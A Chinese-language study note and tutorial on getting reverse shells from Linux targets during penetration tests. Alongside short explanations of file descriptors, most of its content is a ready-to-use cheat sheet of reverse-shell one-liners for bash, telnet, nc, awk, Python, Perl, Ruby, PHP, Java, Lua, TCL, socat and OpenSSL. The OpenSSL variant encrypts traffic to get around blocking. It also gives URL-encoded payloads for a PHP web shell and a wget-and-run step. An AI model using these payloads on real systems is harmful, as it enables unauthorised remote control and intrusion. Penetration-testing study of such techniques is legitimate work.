该文档是自己学习过程中的记录汇集。现将文档整理出来,留作自己的学习记录历程。同时简单举几种示例演示。

前言

在渗透测试过程中,会经常遇到Linux系统,当我们拿到基本权限后,让Linux来反弹一个Shell出来再正常不过了。因此,在说原理前,先简单说说正向连接与反向连接:

正向连接:

目标主机打开一个监听端口,攻击者在自己的机器对目标机器发起TCP/HTTP/HTTPS连接,这是比较常规的形式。远程桌面、WEB服务、SSH、TELNET等都是正向连接。

反向连接:

攻击者在自己的主机开一个监听端口,目标主机在执行某执行代码或脚本程序后主动发起对攻击者所在主机的TCP/HTTP/HTTPS连接。

原理

反弹Shell(Reverse shell),就是远程系统监听一个TCP/UDP端口,被控端发起请求到该端口,将其命令行的输入输出转到控制端,并接收远程系统发送的Shell指令,执行之后再将指令的输出流转发给远程系统。

Reverse shell与telnet,ssh等标准Shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹Shell原理

反弹Shell的方式有很多,具体要用哪种方式还需要根据目标主机的环境来确定。本文暂且以Linux系统下的Shell反弹来说明。

Linux文件描述符介绍

因为反弹Shell难免会和Linux下的文件描述符打交道,为了更加方便理解,故再来谈一谈Linux下的文件描述符。

Linux号称万物皆文件,键盘、显示器设备也是文件,因此它们的输入输出也是由文件描述符控制。Linux系统下,默认有三个特殊的文件描述符:

  • 0:标准输入(stdin),输入的指令。
  • 1:标准输出(stdout),指令返回的执行结果。
  • 2:错误输出(stderr),指令返回的错误信息。

既然输入输出都是文件,那么就可以将文件内容重定向到其他文件中:

  • 输入重定向:<

  • 输出重定向:>

标准输入输出重定向:[描述符]>&[描述符],如:0>&1,标准输入重定向到标准输出

注:这里的 & 目的是为了区分数字名字的文件和文件描述符,如果没有 & 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符。且重定向之间所有字符间不要有空格。

bash在执行一条指令的时候,首先会检查命令中是否存在文件描述符重定向的符号,如果存在那么首先将文件描述符重定向(预处理),然后在把重定向去掉,继续执行指令。如果指令中存在多个重定向,重定向从左向右解析

常见手法

反弹Shell的前置条件需要获取到目标主机的初始权限。这里简单总结下反弹Shell的常见手法:

1、Bash反弹

攻击机监听:

nc -lvvp [端口]

目标机执行:

bash -i 1> /dev/tcp/[攻击机host]/[端口] 0>&1 2>&1

bash -i 5<>/dev/tcp/[攻击机host]/[端口] 0>&5 1>&5

优点:在大多数Liunx系统上都可以使用 缺点:存在符号>、&在反序列化中或者对符号转义的情况下就没有办法反弹了。

注:若Linux系统上不存在bash可以使用sh代替反弹

命令原理

第一种命令相关介绍:

  • bash -i:开启一个交互式的Shell

  • 1> /dev/tcp/[攻击机host]/[端口]:调用socket建立链接,将标准输出(1)重定向到TCP的连接上面,也就是将标准输出发送给远程主机

  • 0>&1 2>&1:将标准输入(0)和错误输出流(2)都指向标准输出(1),而标准输出我们已经发给了远程主机,那么相当于是将输入输出流都重定向到了TCP连接,即本地主机可以通过TCP连接来接收指令,并且将输出流全部发给远程主机。

故该命令也可简写为如下:

bash -i >& /dev/tcp/[攻击机host]/[端口] 0>&1

上述命令是将标准错误(2)和标准输出(1)重定向到Socket连接文件。并将标准输入(0)重定向到标准输出(1),此时标准输出(1)指向Socket连接,从而实现了与反弹Shell的交互。

第二种命令则是将标准输入、输出和错误均重定向到Socket连接文件。

演示测试

在我们待测试的站点相关目录下存放了一个一句话木马文件,如图:

image-20210802194728768

此时我的主机相对该目标执行机的IP为192.168.17.1,将使用我的主机的60000端口号进行反弹Shell的接收,则构造的传参应是:

onetalk=system('bash -i >& /dev/tcp/192.168.17.1/60000 0>&1');

由于待传的POST参数中含有“&”符号,此时若我们直接使用进行传参则易造成命令的丢失,故需要进行编码处理,使用URL编码即可,最终的POST参数Body如下:

onetalk=system('bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.17.1%2f60000%200%3e%261%20');

我们先在攻击机上使用nc命令监听:

image-20210802201608476

然后将POST提交,此时,窗口就获得了对应WEB站点的Shell了,如图:

image-20210802201813078

此处你就获得了www用户的Shell,此处由于我的PHP程序守护运行的用户为www,故权限不会太高。

2、Telnet反弹

第一种

攻击机开启两个终端,分别执行监听:

nc -lvvp port1

nv -lvvp port2

目标机执行:

telent x.x.x.x port1 | /bin/bash | telnet x.x.x.x port2

监听2个端口分别用来输入和输出,其中x.x.x.x均为攻击者IP。

命令原理

telnet在攻击者主机x.x.x.x及port1开启监听用户,并将此处Telnet的标准输入通过管道符传给后面命令/bin/bash执行,再将/bin/bash的输出结果作为后面telnet的输入。此时通过两个端口,一个接收用户输入,通过/bin/bash处理后再由另一个端口输出。

演示测试

此处在PHP一句话木马中测试连接始终未成功,经发现,一句话木马传参到后台执行时,命令变成了:sh -c telnet 192.168.17.1 60000 | /bin/bash | telnet 192.168.17.1 60001。出现60000端口总是断连,只有60001端口。故直接将该命令在终端中执行演示。

根据上述说明,构造传参为:

telnet 192.168.17.1 60000 | /bin/bash | telnet 192.168.17.1 60001

此时在终端开启两个窗口执行命令监听60000和60001端口:

image-20210802205527751

然后将命令执行,等待片刻,窗口就获得了对应的Shell了,如图:

image-20210802210345379

第二种

攻击机监听:

nc -lvvp port

目标主机执行:

rm -f /tmp/fifo;mknod /tmp/fifo p;telnet x.x.x.x port 0</tmp/fifo | /bin/bash &>/tmp/fifo

其中x.x.x.x为攻击机IP。

命令原理

mknod命令用于创建Linux中的字符设备文件和块设备文件。mknod /tmp/fifo p命令则是创建一个已命名的管道fifo,使用telnet命令远程到攻击机,并将攻击机的参数作为标准输入传入该管道,然后将此处接收到的命令参数传给管道符后面命令的输入,再将执行结果的标准输出与错误输出传入给/tmp/fifo管道,目标主机由于与该管道建立了对应连接,故达到了反弹Shell的目的。

演示测试

首先我们开启一个窗口对60000端口监听。

此处我们使用一句话木马进行测试,构造POST参数为如下:

onetalk=system('rm -f /tmp/fifo;mknod /tmp/fifo p;telnet 192.168.17.1 60000 0</tmp/fifo | /bin/bash &>/tmp/fifo');

命令中含有“&”符号,此时若我们直接使用POST传则易造成命令丢失,故需要进行编码处理,编码后为%26,又或者可以直接指定数字1(即标准输出),只对标准输出进行显示。

然后POST提交参数,此时终端正常获取到www用户的Shell,如图:

image-20210802223423241

3、nc反弹

攻击机监听:

nc -lvvp port

目标机执行:

nc x.x.x.x port -e /bin/bash

优点:直接反弹,没有多余的符号。 缺点:部分系统安装的有些是不提供反向链接的版本(没有-e参数),此时需要自己上传编译后的二进制版本。

若nc无反向链接的版本,则有如下解决方式:

方法一:

使用管道符:

nc x.x.x.x port1 | /bin/bash | nc x.x.x.x port2

命令原理同上述telnet相关管道符处的用法,且测试也是相同,不在赘述。

方法二:

针对某些mips架构的路由器或有Busybox终端的系统:

rm /tmp/fifo; mkfifo /tmp/fifo | /bin/sh 0</tmp/fifo | nc x.x.x.x port 1>/tmp/fifo

含有Busybox的话,则将相关命令替换为/xxx/busybox nc来进行nc命令的调用。该方法的命令用法可参考Telnet的用法。

4、awk反弹

攻击机监听:

nc -lvvp port

目标机执行:

awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/port";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'

此时成功获取到Shell: image-20210805194616297

5、常见脚本反弹

下述脚本均需要现在攻击机上开启监听:nc -lvvp port,将脚本中x.x.x.x替换为对应的攻击机IP,port替换为实际使用的端口。

1、Python

IPv4协议如下:

第一种:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

第二种:

export RHOST="x.x.x.x";export RPORT=port;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

IPv6协议如下:

python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("xxxx:xxxx:xxxx::xxxx",port,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

2、Perl

第一种:

 perl -e 'use Socket;$i="x.x.x.x";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

第二种:

 perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Win平台下执行:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

3、Ruby

第一种:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","port");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

第二种:

ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

4、PHP

第一种:

php -r '$sock=fsockopen("x.x.x.x",port);exec("/bin/bash -i <&3 >&3 2>&3");'

第二种:

php -r '$s=fsockopen("x.x.x.x",port);$proc=proc_open("/bin/bash -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'

5、JAVA

public class Revs {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/port;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

6、Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

7、TCL

目标主机需要安装TCL工具

echo 'set s [socket x.x.x.x port];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

其他方法

1、socat

该方法需要攻击机和目标主机上有socat程序。

攻击机监听:

socat file:`tty`,raw,echo=0 tcp-listen:port

目标主机执行:

socat tcp-connect:x.x.x.x:port exec:"bash -li",pty,stderr,setsid,sigint,sane

若目标主机上无socat命令,则可以如下:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat tcp-connect:x.x.x.x:port exec:"bash -li",pty,stderr,setsid,sigint,sane

2、只有80和443端口且反弹Shell流量被拦截

方法论:加密流量,绕过拦截。

1、攻击机上生成SSL证书的公钥/私钥对:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

2、攻击机监听端口:

openssl s_server -quiet  -key key.pem -cert cert.pem -port 443

3、目标主机连接:

mkfifo /tmp/yang;/bin/bash -i < /tmp/yang 2>&1 |openssl s_client -quiet -connect x.x.x.x:443 > /tmp/yang; rm /tmp/yang

image-20220118212315775

由上图可以看到左边终端已变换成右边终端。

终端命令缺陷修复

若反弹的Shell无法使用Tab补全的话,通过以下方法修复:

python -c 'import pty; pty.spawn("/bin/bash")'

原理:pty模块定义了一些处理“伪终端”概念的操作:启动另一个进程并能以程序方式在其控制终端中进行读写。

pty.spawn(argv[, master_read[, stdin_read]])产生一个进程,并将其控制终端与当前进程的标准IO。这常被用来应对坚持要从控制终端读取数据的程序。 在 pty 背后生成的进程预期最后将被终止,而且当它被终止时 spawn将会返回。

将当前进程的 STDIN 拷贝到子进程并将从子进程接收的数据拷贝到当前进程的 STDOUT 的循环。 如果当前进程的 STDIN 关闭则它不会向子进程发信号。

master_readstdin_read 函数会被传入一个文件描述符供它们读取内容,并且它们总是应当返回一个字节串。 为了强制 spawn 在子进程退出之前返回,应当返回一个空字节数组来提示文件的结束。

两个函数的默认实现在每次函数被调用时将读取并返回至多 1024 个字节。 会向 master_read 回调传入伪终端的主文件描述符以从子进程读取输出,而向 stdin_read 传入文件描述符 0 以从父进程的标准输入读取数据。

从两个回调返回空字节串会被解读为文件结束 (EOF) 条件,在此之后回调将不再被调用。 如果 stdin_read 发出 EOF 信号则控制终端就不能再与父进程或子进程进行通信。 除非子进程将不带任何输入就退出,否则随后 spawn 将一直循环下去。 如果 master_read 发出 EOF 信号则会有相同的行为结果(至少是在 Linux 上)。

在Python 3.4 版更改: spawn() 现在从子进程的os.waitpid()返回状态值。